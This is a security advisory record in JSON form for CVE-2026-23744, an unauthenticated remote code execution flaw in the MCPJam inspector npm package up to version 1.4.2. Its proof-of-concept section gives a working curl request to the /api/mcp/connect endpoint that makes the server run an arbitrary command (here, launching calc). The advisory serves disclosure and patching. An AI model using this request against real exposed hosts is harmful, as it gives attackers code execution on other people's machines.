Vulnerabilities in pkg:npm/@mcpjam/inspector

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-232v-j27c-5pp6",
  "modified" : "2026-01-16T21:57:08Z",
  "published" : "2026-01-16T21:15:35Z",
  "aliases" : [ "CVE-2026-23744" ],
  "summary" : "REC in MCPJam inspector due to HTTP Endpoint exposes",
  "details" : "### Summary\nMCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n\nThis vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.\n\n\n\n### Details\nMCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable.\n``` TypeScript\nconst server = serve({\n  fetch: app.fetch,\n  port: SERVER_PORT,\n  hostname: \"0.0.0.0\",\n});\n```\n\nThe `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the `/connect` route, the system extracts the `command` and `args` fields without performing any security checks, leading to the execution of arbitrary command.\n\n### PoC\n(1) Start up the MCPJam inspector as Github README\n`npx @mcpjam/inspector@latest`\n\n(2) RCE by posting a HTTP request\nA remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).\n`curl http://10.97.58.83:6274/api/mcp/connect --header \"Content-Type: application/json\" --data \"{\\\"serverConfig\\\":{\\\"command\\\":\\\"cmd.exe\\\",\\\"args\\\":[\\\"/c\\\", \\\"calc\\\"],\\\"env\\\":{}},\\\"serverId\\\":\\\"mytest\\\"}\"`\n\n\n<img width=\"1669\" height=\"1397\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cb6505f1-3cdd-4c64-8f39-a01619a63411\" />\n\n\n### Impact\nRemote Code Execution (RCE)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@mcpjam/inspector"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23744"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MCPJam/inspector/commit/e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MCPJam/inspector"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-16T21:15:35Z",
    "nvd_published_at" : "2026-01-16T20:15:51Z"
  }
}